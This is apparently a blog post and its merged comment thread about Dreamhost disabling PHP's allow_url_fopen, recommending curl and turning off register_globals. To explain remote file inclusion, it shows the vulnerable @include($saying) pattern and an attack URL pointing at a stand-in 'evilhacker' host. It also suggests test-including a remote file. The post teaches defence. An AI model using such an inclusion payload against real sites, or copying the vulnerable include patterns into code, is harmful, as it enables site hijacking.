As Valette noted, Dreamhost finally shut off allow_url_fopen (this is the PHP option that allows you to do stupid things like "open('http://evilhacker.com');" Oh sure, you may not intend to do that, but if you've got unassigned variables that's exactly what you're allowing folks to do).
This, undoubtedly has a great many folks in a tizzy, but needlessly so. You've got a FAR more powerful replacement readily available in PHP's implementation of the curl library. This utterly amazing chunk of software gives you total and absolute control over your back end request.
Here's an example. Let's say that like Valette, you've got some remote site you're scraping data from. In the old, nasty, evil, icky way you could do:
which would fetch the page into $buffer. But it would also hang your page for up to 30 seconds if http://example.com and God forbid they were to simply block robots and spiders from crawling their data.
Or God forbid the following:
<?php
include('http://example.com');
?>
Sure, that does get the contents of http://example.com, but it also tells your local machine to run whatever lurking evil crap may be in that page. What happens when example.com gets hacked and someone inserts a virus into the page? Bad things happen. Really bad things. Taste-testing electrical sockets, sorts of bad things. Picking up hitchhikers outside of penitentiaries and bringing them home for drinks and a gander at your collection of unlocked high power firearms, bad things.
Now, enter curl:
$curl_handle = curl_init();
// Where should we get the data?
curl_setopt ($curl_handle, CURLOPT_URL, 'http://example.com');
// This says not to dump it directly to the output stream, but instead
// have it return as a string.
curl_setopt ($curl_handle, CURLOPT_RETURNTRANSFER, 1);
// the following is optional, but you should consider setting it
// anyway. It prevents your page from hanging if the remote site is
// down.
curl_setopt ($curl_handle, CURLOPT_CONNECTTIMEOUT, 1);
// Now, YOU make the call.
$buffer = curl_exec($curl_handle);
// And tell it to shut down (when your done. You can always make more
// calls if you want.)
curl_close($curl_handle);
// This is where i'd probably do some extra checks on what i just got.
// Paranoia pays dividends.
print $buffer;
Yeah, it's a few more lines of code, but that's what subroutines are for. Thing is, there are tons of options you can set that literally control every aspect of the call, plus, it's far safer because you can only call out to a remote website explicitly. This means that when some hacker discovers an uninitialized variable that's being used inside of your code, they can't use it to load their own code and hijack your site.
(By the way, PLEASE add the following bit of code to your .htaccess file:
<ifmodule mod_php4.c>
php_flag register_globals off
</ifmodule>
This will break packages like phpNuke, and (older copies of) ATP, but that's good. It also means that the vunerabilities that those packages have are neutralized.
There, see? It's not so bad after all.

If you want to try it for yourself, you can add the following line to your .htaccess file: php_value allow_url_fopen 0Oops, PHP only allows that from the internal php.ini file, something you don't have access to. Thanks to Dreamhost for pointing that out. --jr Don't know what a .htaccess file is? Well, the next option is to go to the various package websites and ask in the support forum. If you don't get an answer in the next couple of days, assume the worst.@include($saying);. (The '@' sign tells PHP not to complain if it can't find that file. You were getting that all the time, so you turned it off.) All an evil person need do is call that page with a url like "http://example.com?saying=http%3e//evilhacker.nasty/f-u.php" and suddenly he can run PHP on your site. Although that's a very simple demonstration, this is a pretty common hack. It's how a number of phpBB boards got taken down around Christmas of last year. Yes, you're quite right that if you're very diligent, and make sure that each and every single variable is declared, you could leave register_globals on, but that's also like saying if you close and lock only your front door, nobody will ever notice your back door is wide open. Evil people will. They literally have nothing better to do. It's just safer to take away any tool they could use to break in. Also, yes, NEVER run code live from another site, the same way that you should never ask random people to get your medicine from the drug store, or toss your car keys to a 16 year old you've never met and ask him to fill up your tank with this $50. Seriously. Paranoia pays dividends. Be savvy, think like a bad guy. Use those survival instincts.<?php define ('HOME' , '/home/yourusername'); define ('IMAGE_DIRECTORY' , HOME . '/example.com/images/'); ?>then use it later in your code:<?php include_once (IMAGE_DIRECTORY . 'random_image.php'); ?>Do those help?Whoopsie! need to specify these sorts of things with stuff like &lt;?php> ...&lt;?> --jrinclude('http://example.com');If you don't have "http://" in the title, chances are you don't have to worry.<?php include('http://example.com'); ?>could allow remote php code to be run locally in your script. Fortunately, this is not true. Anything obtained this way is gotten over http, and any nasty code is run on the remote machine. All you get is plain text. As long as you pay attention to your own wayward variables, this is actually a pretty safe and useful tool.<?include(”http://www.domain.com/include.php”) ?>to doing whatever it is I need to do with curl to get the same result. I pull in three includes on each page and display them in different parts. Not sure if that makes a difference (whether one curl statement pulls in all three to a buffer, then individual statements spit it out on the page when it's parsed). Any help would be immensely appreciated.$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,getenv('HTTP_REFERER')); curl_setopt($ch,CURL_RETURNTRANSFER,1); $buffer = curl_exec($ch); curl_close($ch);$buffer now contains the content of the referring pageSurely there must be a way to get this working again. Dreamhost support did not help at all, they mentioned moving to Gallery2 (beta) Ugh.error_reporting(E_ALL);at the top of the script making the include to see if there's a problem (turn it off later if you want) 3. (last resort) switch to curl and pretend you're hitting a remote site. (not a good suggestion, but something you could do.)curl_exec(curl_init("hiscore.php?gameID=XENOII&action=getTop&limit=50&viewmode=site&dupes=false&Submit=Submit"));That's the extreamly short hand version of what you want. It's ugly, prone to hanging, wasteful, and error-check free, just like your old "include("url);" was, but it's simple. If you have a site on Dreamhost, curl is already installed. You can just start using the calls. If you don't, talk to your hosting provider. Oh yeah, and take some time to learn the tools. Seriously, it's like driving around and not knowing anything about your car except what brand of gas to put in. PHP has a simple tutorial that won't take long to read and will help you enormously.Now I'm usingSince this is a local file and not an url - will this work? Thanks Ivan$curl = curl_init(); curl_setopt ($curl, CURLOPT_URL, "http://blog.unitedheroes.net/evilhacker.txt"); curl_exec ($curl); curl_close ($curl);Now, make a backup of your site and try executing this code:include("http://blog.unitedheroes.net/evilhacker.txt");That's why it's bad. Curl doesn't execute PHP code pulled from a remote site. include() does. PHP doesn't have a way to explicity prevent you from doing a url fopen on everything except include. In fact, there are a lot of other commands you really don't want someone sending arbitrary cruft through. The language only has the option to turn off the "handy" feature, force you to use the more explicit one and make you be more secure. While you can probably attest to: * Always initializing your variables * Always explicity declaring sources for data * Limiting global use to constant values * etc. can you be certain that every third party application you install is just as rigorous? Can you be certain that the 13 year old cat-girl who runs a php*Nuke YuGiOh! slash site on the same shared server you are on is just as dilligent?